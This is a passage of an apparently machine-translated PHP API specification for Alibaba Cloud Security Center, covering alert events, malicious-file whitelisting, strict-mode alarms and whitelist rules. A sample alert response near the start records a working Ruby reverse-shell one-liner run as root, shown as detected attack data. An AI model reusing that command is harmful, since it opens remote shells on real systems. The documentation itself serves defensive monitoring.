\\\\\\"proc_path\\\\\\": \\\\\\"/bin/id\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"[3033]\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n },\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"whoami\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/bin/whoami\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"[3035]\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n }\\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"/bin/bash -c \'id && whoami\'\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/bin/bash\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"[3022]\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n }\\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"src_ip\\\\\\": \\\\\\"0.0.0.0\\\\\\",\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"ruby -rsocket -e exit if fork;c=TCPSocket.new(\\\\\\\\\\\\\\"0.0.0.0\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"1111\\\\\\\\\\\\\\");while(cmd=c.gets);IO.popen(cmd,\\\\\\\\\\\\\\"r\\\\\\\\\\\\\\"){|io|c.print io.read}end\\\\\\",\\\\n \\\\\\"file\\\\\\": \\\\\\"ruby\\\\\\",\\\\n \\\\\\"login_port\\\\\\": \\\\\\"22\\\\\\",\\\\n \\\\\\"login_type\\\\\\": \\\\\\"password\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/usr/bin/ruby\\\\\\",\\\\n \\\\\\"dst_port\\\\\\": \\\\\\"1111\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"3011\\\\\\",\\\\n \\\\\\"user\\\\\\": \\\\\\"root\\\\\\",\\\\n \\\\\\"dst_ip\\\\\\": \\\\\\"0.0.0.0\\\\\\",\\\\n \\\\\\"log_time\\\\\\": \\\\\\"2020-01-20 09:00:00\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n {\\\\n \\\\\\"content\\\\\\": \\\\\\"${tpl_netstat}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"text\\\\\\"\\\\n }\\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n }\\\\n]\\",\\n \\"RequestId\\": \\"ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\"\\n}","type":"json"}]', 'title' => 'DescribeAlarmEventStackInfo', ], 'HandleMaliciousFiles' => [ 'summary' => 'Handle Malicious Files', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '184806', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'description' => 'Type of operation:'."\n" .'- addWhitelist: Add to whitelist'."\n" .'- offWhitelist: Remove from whitelist', 'type' => 'string', 'required' => false, 'example' => 'addWhitelist', ], ], [ 'name' => 'FileIdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of file IDs to be processed.'."\n" .'> You can call [ListAgentlessMaliciousFiles](~~ListAgentlessMaliciousFiles~~) to get the IDs.'."\n" .'> -', 'type' => 'array', 'items' => [ 'description' => 'ID of the malicious file.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '265**', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult', 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the API call was successful. Values:'."\n" .'- **true**: Success'."\n" .'- **false**: Failure', 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'Result code, **200** indicates success, any other value indicates failure. The caller can use this field to determine the reason for the failure.', 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'Return message of the request.', 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The unique identifier generated by Alibaba Cloud for this request.', 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8B****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8B****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'Add or Remove Security Alerts from Whitelist', 'translator' => 'machine', ], 'DescribeStrictEventName' => [ 'summary' => 'Strict mode supports alarm queries', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '215996', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Sets the language type for requests and received messages, default is **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English'."\n" ."\n\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Returned message structure.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for this request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', ], 'Data' => [ 'description' => 'Returned data.', 'type' => 'array', 'items' => [ 'description' => 'Details corresponding to each strict mode alarm.', 'type' => 'object', 'properties' => [ 'EventType' => [ 'description' => 'Alarm type.', 'type' => 'string', 'example' => 'Suspicious Process', ], 'EventName' => [ 'description' => 'Alarm name.', 'type' => 'string', 'example' => 'System log abnormal deletion', ], 'ShowEventName' => [ 'description' => 'Displayed alarm name.', 'type' => 'string', 'example' => 'Suspicious Process', ], 'ShowEventType' => [ 'description' => 'Displayed alarm type.', 'type' => 'string', 'example' => 'System log abnormal deletion', ], 'SwitchConfig' => [ 'description' => 'Indicates whether the user has enabled the strict mode for this alarm type.'."\n" .'- true: Enabled'."\n" .'- false: Not enabled', 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\",\\n \\"Data\\": [\\n {\\n \\"EventType\\": \\"Suspicious Process\\",\\n \\"EventName\\": \\"System log abnormal deletion\\",\\n \\"ShowEventName\\": \\"Suspicious Process\\",\\n \\"ShowEventType\\": \\"System log abnormal deletion\\",\\n \\"SwitchConfig\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Query Alarm Names in Strict Mode', 'translator' => 'machine', ], 'UpdateStrictEventName' => [ 'summary' => 'Update the selected strict events in strict mode', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '215997', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Sets the language type for requests and received messages, default is **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Operator', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'Operation rule determination operator:'."\n" .'- *on*: Turn on the alarm'."\n" .'- *off*: Turn off the alarm', 'type' => 'string', 'required' => true, 'example' => 'on', ], ], [ 'name' => 'EventNameList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of strict alarms to be operated on. This list is a complete list, and any strict alarms not included in this list will have the opposite operation performed.'."\n" .'> You can call [DescribeStrictEventName](~~DescribeStrictEventName~~) to get the list of all strict mode alarms.'."\n" .'> -', 'type' => 'array', 'items' => [ 'description' => 'The name of the alarm.', 'type' => 'string', 'required' => false, 'example' => 'WEBSHELL', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The structure of the returned message.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\"\\n}","type":"json"}]', 'title' => 'Modify Strict Mode Alarm Status', 'translator' => 'machine', ], 'CreateSuspEventNote' => [ 'summary' => 'Adds remarks to an alert event.', 'methods' => [ 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '137238', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event to which you want to add remarks. You can call the [DescribeSuspEvents](~~251497~~) operation to query the IDs of alert events.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '668931', ], ], [ 'name' => 'Note', 'in' => 'query', 'schema' => [ 'description' => 'The remarks that you want to add.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Ignore', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => '', 'description' => '', 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether exceptions are handled. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'There was an error with your request.', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'CreateSuspEventNote', ], 'QueryGroupedSecurityEventMarkMissList' => [ 'summary' => 'Queries whitelist rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'EventName', 'in' => 'formData', 'schema' => [ 'title' => '告警事件名称（子类型）', 'description' => 'The name of the alert event. The value indicates a subtype.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Login with unusual location', ], ], [ 'name' => 'Remark', 'in' => 'formData', 'schema' => [ 'title' => '资产名', 'description' => 'The condition that is used to query alert events by asset. You can specify a value of the following types:'."\n" ."\n" .'* The IP address of the asset.'."\n" .'* The public IP address of the asset.'."\n" .'* The private IP address of the asset.'."\n" .'* The name of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '222.185.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'formData', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'formData', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'From', 'in' => 'formData', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '113.66.XX.XX', ], ], [ 'name' => 'DisposalWay', 'in' => 'query', 'schema' => [ 'title' => '加白方式', 'description' => 'The handling method. Valid values:'."\n" ."\n" .'* **1**: Automatically Added to Whitelist'."\n" .'* **2**: Defense Without Notification'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult', 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'An array that consists of the whitelist rules.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'AliUid' => [ 'title' => '用户统一编号', 'description' => 'The ID of the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '31412647', ], 'EventType' => [ 'title' => '告警事件名称（父类型）', 'description' => 'The subtype of the alert event.'."\n", 'type' => 'string', 'example' => 'Unusual Logon', ], 'EventTypeOriginal' => [ 'title' => '告警事件名称（父类型）', 'description' => 'The type of the alert event.'."\n", 'type' => 'string', 'example' => 'Unusual logon'."\n", ], 'EventName' => [ 'title' => '告警事件名称（子类型）', 'description' => 'The name of the alert event. The value indicates a subtype.'."\n", 'type' => 'string', 'example' => 'Login with unusual location', ], 'EventNameOriginal' => [ 'title' => '告警事件名称（子类型）', 'description' => 'The name of the alert event. The value indicates a type.'."\n", 'type' => 'string', 'example' => 'login_common_location', ], 'Uuids' => [ 'title' => '资产ids，逗号分割', 'description' => 'The UUIDs of assets. Multiple UUIDs are separated by commas (,).'."\n", 'type' => 'string', 'example' => '6985b88c-eb19-4d27-98ad-e4a42312****,5721d503-9b04-4243-89ca-1fb8ca5e****,db2678c3-10e3-4a20-92f1-265f6****', ], 'Field' => [ 'title' => '加白字段', 'description' => 'The field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'type', ], 'FiledAliasName' => [ 'title' => '加白字段别名', 'description' => 'The alias of the field.'."\n", 'type' => 'string', 'example' => 'Logon Time', ], 'FieldValue' => [ 'title' => '加白值', 'description' => 'The value of the field.'."\n", 'type' => 'string', 'example' => 'root', ], 'Operate' => [ 'title' => '操作符', 'description' => 'The operator. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n" .'* **regex**: regular expression'."\n", 'type' => 'string', 'example' => 'contains', ], 'DisposalWay' => [ 'title' => '处置方式', 'description' => 'The handling method. Valid values:'."\n" ."\n" .'* **auto\\_add_white**: Automatically Added to Whitelist'."\n" .'* **defense\\_not_notification**: Defense Without Notification'."\n", 'type' => 'string', 'example' => 'auto_add_white', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request is successful. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request is successful. Other status codes indicate that the request fails. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'There was an error with your request.', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '965F9282-D403-4FA2-B1B9-10F62DC719BF', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"AliUid\\": 31412647,\\n \\"EventType\\": \\"Unusual Logon\\",\\n \\"EventTypeOriginal\\": \\"异常登录\\",\\n \\"EventName\\": \\"Login with unusual location\\",\\n \\"EventNameOriginal\\": \\"login_common_location\\",\\n \\"Uuids\\": \\"6985b88c-eb19-4d27-98ad-e4a42312****,5721d503-9b04-4243-89ca-1fb8ca5e****,db2678c3-10e3-4a20-92f1-265f6****\\",\\n \\"Field\\": \\"type\\",\\n \\"FiledAliasName\\": \\"Logon Time\\",\\n \\"FieldValue\\": \\"root\\",\\n \\"Operate\\": \\"contains\\",\\n \\"DisposalWay\\": \\"auto_add_white\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 9\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"RequestId\\": \\"965F9282-D403-4FA2-B1B9-10F62DC719BF\\"\\n}","type":"json"}]', 'title' => 'QueryGroupedSecurityEventMarkMissList', ], 'OperationCancelIgnoreSuspEvent' => [ 'summary' => 'Cancels ignoring alert events.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'SecurityEventIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '告警编号集合', 'description' => 'The IDs of alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the alert event.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the IDs of alert events.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '611689', ], 'required' => true, 'maxItems' => 200, ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks.'."\n", 'type' => 'string', 'required' => false, 'example' => 'remark text', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'The handling result of an exception. Valid values:'."\n" ."\n" .'* **true**: successful'."\n" .'* **false**: failed'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was is successful. Other status codes indicate that the request fails. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The time consumed for the request. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'OperationTaskNotExists', 'errorMessage' => 'The specified operation task does not exist', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'OperationCancelIgnoreSuspEvent', ], 'CreateSimilarSecurityEventsQueryTask' => [ 'summary' => 'Creates a task to query alert events that are triggered by the same rule or of the same alert type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'SecurityEventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event.'."\n" ."\n" .'> You must specify at least one of the SecurityEventId and SimilarEventScenarioCode parameters.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '14323', ], ], [ 'name' => 'SimilarEventScenarioCode', 'in' => 'query', 'schema' => [ 'description' => 'The codes of alert events that are triggered by the same rule or of the same alert type.'."\n" ."\n" .'> You must specify at least one of the SecurityEventId and SimilarEventScenarioCode parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5861EE3E-F0B3-48B8-A5DC-A5080BFBE052', ], 'CreateSimilarSecurityEventsQueryTaskResponse' => [ 'description' => 'The information about the task that queries alert events of the same alert type.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **New**: The task is created.'."\n" .'* **RetrievingData**: Data is being retrieved.'."\n" .'* **DataRetrieved**: Data is retrieved.'."\n" .'* **Processing**: The task is running.'."\n" .'* **Success**: The task is successful.'."\n" .'* **Failed**: The task failed.'."\n" .'* **PartialFailed**: The task partially failed.'."\n", 'type' => 'string', 'example' => 'New', ], 'TaskId' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2915', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'SecurityEventNotExists', 'errorMessage' => 'Security event not exists.', ], [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"5861EE3E-F0B3-48B8-A5DC-A5080BFBE052\\",\\n \\"CreateSimilarSecurityEventsQueryTaskResponse\\": {\\n \\"Status\\": \\"New\\",\\n \\"TaskId\\": 2915\\n }\\n}","errorExample":""},{"type":"xml","example":"5861EE3E-F0B3-48B8-A5DC-A5080BFBE052\\n\\n NEW\\n 2915\\n","errorExample":""}]', 'title' => 'CreateSimilarSecurityEventsQueryTask', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAlarmEventDetail' => [ 'summary' => 'Queries the details about an alert event. An alert event consists of an alert and exceptions. Each alert event is associated with multiple exceptions.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'AlarmUniqueInfo', 'in' => 'query', 'schema' => [ 'description' => 'The unique identifier of the alert event.'."\n" ."\n" .'> To query the details of an alert event, you must provide the unique identifier of the alert event. You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to obtain the identifier.'."\n", 'type' => 'string', 'required' => true, 'example' => '9f62555666f177aa84ee1eaf465a****', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7EA50837-2F0B-5BCC-AB61-4968D88D75AD', ], 'Data' => [ 'description' => 'The details of the alert event.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The alert type of the alert event. Valid values:'."\n" ."\n" .'* Suspicious process'."\n" .'* Webshell'."\n" .'* Unusual logon'."\n" .'* Exception'."\n" .'* Sensitive file tampering'."\n" .'* Malicious process (cloud threat detection)'."\n" .'* Suspicious network connection'."\n" .'* Other'."\n" .'* Abnormal account'."\n" .'* Application intrusion event'."\n" .'* Cloud threat detection'."\n" .'* Precise defense'."\n" .'* Application whitelist'."\n" .'* Persistent webshell'."\n" .'* Web application threat detection'."\n" .'* Malicious script'."\n" .'* Threat intelligence'."\n" .'* Malicious network activity'."\n" .'* Cluster exception'."\n" .'* Webshell (on-premises threat detection)'."\n" .'* Vulnerability 